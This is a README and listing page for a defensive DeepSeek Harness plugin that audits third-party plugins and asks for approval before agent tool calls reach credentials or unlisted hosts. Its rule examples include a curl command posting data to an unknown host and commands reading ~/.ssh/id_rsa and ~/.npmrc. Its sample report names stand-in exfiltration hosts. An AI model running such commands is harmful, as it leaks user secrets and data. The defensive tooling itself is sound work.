jkrandom-sudo/dsh-plugin-audit

DeepSeek Harness 插件安全审计:静态权限画像(附文件/行号证据)+ 运行时哨兵,在触及凭证或向未知主机外发数据时先请你批准

Project Overview项目介绍

dsh-plugin-audit is a DeepSeek Harness security plugin that statically profiles third-party plugins via the plugin_audit tool, producing a permission card covering filesystem, network, env vars, and credential paths with file/line evidence. A runtime sentinel hooks tools/pre-execute, requesting approval whenever a tool call targets credential paths or unknown hosts. Use it before installing untrusted plugins. The scanner reads source text, not an AST, so strings and comments can trigger findings by design.

dsh-plugin-audit 是 DeepSeek Harness 的安全审计插件。它通过 plugin_audit 工具静态扫描插件源文件,生成包含文件系统、网络、环境变量、凭据路径等权限画像的风险卡片,并附文件行号证据;同时以运行时哨兵监听 tools/pre-execute,当工具调用涉及凭据路径或访问 allowedHosts 之外的域名时自动请求人工批准。适用于安装第三方 DSH 插件前的风险审查。注意扫描基于源码文本而非 AST,注释中的凭据路径也会触发告警,可能产生误报。

Or use CLI install (for developers)或使用命令行安装(适合开发者)

CLI Install命令行安装

dsh plugin --profile web add dsh-plugin-audit

jkrandom-sudo/dsh-plugin-audit 加入你的 DSH 配置(web profile)即可启用。

READMEREADME

dsh-plugin-audit

中文 · npm · DeepSeek Harness

Know what a DSH plugin can do before you let it run. dsh-plugin-audit profiles third-party plugins statically — which files, processes, hosts, env vars and credential paths their code touches, with file/line evidence — and arms a runtime sentinel that asks for your approval when any tool call reaches for credentials or moves data to unknown hosts.

What it does

1. Static audit — the plugin_audit tool. Point it at any plugin directory; it scans the source, package.json and cordis.patch.yml, then returns a permission profile card:

## Plugin audit: fixture-suspicious-plugin

**Risk: REVIEW** — REVIEW — human review recommended before installing

> 1 files scanned; risk=review; 10 findings (4 review, 4 notice, 2 info)

### Permission profile

| Surface | Observed |
|---|---|
| Filesystem read | **yes** |
| Filesystem write | **yes** |
| Child processes | **yes** |
| Network | **yes** |
| Outbound hosts | `evil.example.com`, `exfil.badhost.io`, `telemetry.example.net` |
| Env variables | `GITHUB_TOKEN`, `HOME` |
| Credential-looking env | `GITHUB_TOKEN` |
| Credential paths | `.npmrc`, `.ssh` |
| Dynamic code execution | **yes** |
| Injected services | `credentials`, `tools` |
| Declared dependencies | — |
| Bundle patch | none |

### Findings

| severity | capability | location | detail |
|---|---|---|---|
| review | env-access | `src/index.js` | Reads a credential-looking environment variable. |
| review | credential-access | `src/index.js:12` | References a credential-bearing path. |
| … | … | … | … |

The scan is read-only by contract: every report carries writesPerformed: false, and an optional invariant companion enforces that marker at runtime.

2. Runtime sentinel. A listener on the harness's tools/pre-execute waterfall. When a pending tool call matches a risk rule, the sentinel returns ask with a reason, and the host's normal approval prompt takes it from there (no approval channel → the call is denied, never silently allowed):

Rule Example that triggers an approval prompt
Any tool argument references a credential path read on ~/.ssh/id_rsa, bash: cat ~/.npmrc
Shell egress toward a host outside allowedHosts curl -d @data.json https://collector.unknown.io/x
A write tool targets a home-directory dotfile write on ~/.zshrc

The audit is an aid, not a verdict — it surfaces evidence so you decide.

Compatibility

Requirement Version
DSH mainline verified against the 2026-08-14 snapshot (web + headless profiles)
Node.js `^22.19.0
Cordis ^4.0.0-rc.7 (peer)

DSH is in developer preview and ships breaking changes frequently; the date above records the mainline snapshot this release was verified against. The ./invariant companion is exported but intentionally not wired into cordis.patch.yml: stock profiles do not provide the invariants service, and a pending row blocks boot. Profiles that do provide it can add { id: dsh-plugin-audit-invariant, name: 'dsh-plugin-audit/invariant' }.

Install

# from npm
dsh plugin --profile web add dsh-plugin-audit

# or directly from GitHub
dsh plugin --profile web add github:jkrandom-sudo/dsh-plugin-audit

Either command registers the package in the profile's dsh.profile.bundles and applies this package's cordis.patch.yml (one row: dsh-plugin-audit, sentinelEnabled: true). Restart the profile to pick it up.

Uninstall

dsh plugin --profile web remove dsh-plugin-audit

Removes the dependency and the bundle row; restart the profile. The plugin writes nothing outside the profile's own dependency metadata, so there is nothing else to clean up.

Quick start

In a session on any profile where the plugin is installed, just ask:

Audit the plugin at ~/some-third-party-plugin with plugin_audit

or let the model call the tool directly:

{ "path": "/absolute/path/to/plugin", "format": "markdown" }
  • path (required) — the plugin's source directory (not an installed copy with node_modules).
  • formatmarkdown (default) or json.

The tool returns the Markdown card above plus a JSON summary: { markdown, risk, filesScanned, findingsCount, writesPerformed }.

The sentinel needs no invocation — once armed it watches every tool call in the session:

⚠ Tool "bash" runs curl toward "collector.unknown.io", which is not in allowedHosts. Outbound data movement needs your confirmation. (approve / deny)

Configuration

The bundle patch inserts one row into the profile; edit it in the profile's cordis.patch.yml:

- id: dsh-plugin-audit
  name: 'dsh-plugin-audit'
  config:
    sentinelEnabled: true        # master switch; false = static audit only
    allowedHosts:                # pre-approved hosts for shell egress
      - github.com
      - api.github.com
      - raw.githubusercontent.com
      - registry.npmjs.org
      - '*.deepseek.com'         # leading *. = suffix rule (also matches the bare domain)

The static scanner takes no configuration and ignores allowedHosts — it reports every network surface it finds.

Permissions & data

  • Read-only scanner — read handles only, capped at 400 files / 256 KB per file, skipping node_modules, .git, lib, dist. The optional dsh-plugin-audit/invariant companion fails the session if a plugin_audit result ever loses its writesPerformed: false marker.
  • No network, no telemetry — the plugin makes no network calls of its own. Hosts listed in a report are extracted from scanned source text, never contacted.
  • Local decisionsask verdicts are mediated by the host's existing approval prompt; the plugin only logs the reason via ctx.logger.
  • Sentinel scope — it inspects the name and arguments of calls passing through tools/pre-execute; it does not read files, env vars, or conversation content beyond the call arguments themselves.

Troubleshooting

  • dsh-plugin-audit/invariant: pending (waiting for service: invariants) at boot — you wired the invariant row into a profile without the invariants service; remove that row (the shipped patch already omits it).
  • The agent can't see plugin_audit — check the package is in the profile's package.json dsh.profile.bundles and that --dump-config shows the dsh-plugin-audit row, then restart.
  • Legitimate commands keep asking — add the host to allowedHosts, or set sentinelEnabled: false to keep only the static auditor.
  • Fewer files scanned than expected — the walker caps at 400 files / 256 KB and skips build output; audit the package source, not an installed copy.

Known boundaries

  • Symlink targets are not followed — the walk reads real files inside the target tree only.
  • Strings and comments can trigger findings — the scanner works on source text, not an AST; a credential path inside a comment is reported the same as one in live code. That is deliberate: the card is evidence for a human, and over-reporting is the safe direction.
  • Build-output-only packages always score at least NOTICE — when dist/lib are the only code shipped there is nothing to scan, and the card says so instead of showing a clean bill.

Development

pnpm install
pnpm typecheck   # both tsconfigs
pnpm test        # vitest: scanner, sentinel rules, plugin lifecycle, invariant
pnpm build       # tsc -b && tsdown -> lib/

Layout: src/scanner/ is a harness-agnostic pure engine (walk → detect → manifest → report), src/report.ts renders the Markdown card, src/runtime.ts adapts it to the Cordis/DSH tool contract, src/sentinel/ holds the pure decision rules and the waterfall listener, src/invariant.ts is the read-only enforcement companion, and src/events.ts types the host's tool-pipeline waterfalls (so listener shapes are checked at compile time). tests/fixtures/ contains sample plugins (suspicious / clean / patch-override) used by the test suite.

The package also ships its TypeScript sources and a ./src/* export, following the official dsh-external/plugin-template convention: DSH's development tooling can load a linked plugin straight from source (e.g. for HMR during plugin development), without waiting for a rebuild.

Ecosystem

This project covers the runtime half of plugin auditing — permission profiling plus a sentinel that watches live tool calls. For the pre-install half, dsh-vet statically vets a plugin before you install it (permission & supply-chain rules, emitted as the open dsh-vet/v1 report). The two approaches cover different failure modes — obfuscated payloads surface statically, some behavior only emerges live — so they complement rather than replace each other.

License & security

MIT — see LICENSE.

This plugin is an audit aid, not an antivirus: a clean report means "no evidence found by these rules", not "safe". Findings are heuristics with file/line evidence so a human can judge. Found a bypass — a capability the scanner misses, a sentinel rule that can be dodged? Open an issue at https://github.com/jkrandom-sudo/dsh-plugin-audit/issues, or report privately first for anything sensitive.

上一个 Prev dsh-model-failover 下一个 Next dsh-org-panel